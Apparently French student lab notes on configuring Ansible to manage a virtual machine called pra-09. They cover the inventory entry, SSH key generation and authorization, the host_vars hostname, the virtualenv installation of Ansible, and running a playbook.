- On modifie tout d'abord le fichier inventory en renseignant notre nom et l'adresse ip de notre VM pra-09:

pra-09 ansible_ssh_host="172.26.145.109"

- Nous générons une clé ssh à l'aide de la commande suivante:

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "aelhassa@polytech-lille.net" -P 

- que nous renseignons dans /root/.ssh/authorized_keys de notre VM. Cette clé va nous permettre ainsi de nous connecter à notre VM avec ANSIBLE.

- On renseigne ensuite le hostname de notre machine virtuelle dans le fichier host_vars/pra-09.yaml

  hostname: pra-09
  bar:
    baz: 42

- Pour fonctionner, ansible a besoin de Python 3 que nous installons préalablement sur la zabeth et notre VM PRA-09.

Nous installons ensuite ansible avec les commandes suivantes :

$ python3 -m venv ~/env-ansible
$ . ~/env-ansible/bin/activate
$ pip3 install -U setuptools wheel
$ pip3 install -U ansible

- Puis on lance la commande :

$ ansible-playbook -v -i inventory polytech.yaml